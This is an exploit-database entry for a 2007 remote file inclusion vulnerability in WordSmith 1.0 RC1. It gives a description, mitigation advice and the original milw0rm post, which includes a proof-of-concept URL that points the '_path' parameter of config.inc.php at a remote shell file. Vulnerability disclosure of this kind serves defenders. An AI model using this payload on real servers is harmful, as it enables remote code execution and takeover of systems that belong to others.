WordSmith 1.0 RC1 (config.inc.php) Remote File Inclusion

vendor:

WordSmith

by:

ShockShadow

7.5

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: WordSmith

Affected Version From: WordSmith 1.0 RC1

Affected Version To: WordSmith 1.0 RC1

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2007

WordSmith 1.0 RC1 (config.inc.php) Remote File Inclusion

This exploit allows an attacker to include a remote file in the config.inc.php file of WordSmith 1.0 RC1. By providing a specially crafted URL with the '_path' parameter pointing to a malicious file, the attacker can execute arbitrary code on the vulnerable server.

Mitigation:

To mitigate this vulnerability, it is recommended to update to a newer version of WordSmith that has patched this issue. Additionally, restricting access to the config.inc.php file and implementing input validation can help prevent remote file inclusion attacks.

Source

Exploit-DB raw data:

--==+=================== Electronic Security Team (www.Yee7.com) ====================+==--
--==+            WordSmith 1.0 RC1 (config.inc.php) Remote File Inclusion            +==--
--==+================================================================================+==--

Software:     WordSmith 1.0 RC1
SF page:      http://sourceforge.net/news/?group_id=90418
exploit:      Remote File Inclusion [High Risk]
By:           ShockShadow - Electronic Security Team (www.Yee7.com)
Home:         www.Yee7.com
Download:     http://skrypty.webpc.pl/pobierz13.html

##############################

==============
Dork: built in ;)

PoC:
http://domain.com/Script_Path/config.inc.php?_path=http://shell.txt?
###############################

by: ShockShadow
Thanks to: Mr-m07, Al-Shikh, ThE WhitE WolF, HuRrIcAnE, S0m.Ph, KEENEST, Qanas Alyahood, Falcon Hammdan, ArabHacker
AND ALL FRIENDS 

# milw0rm.com [2007-09-23]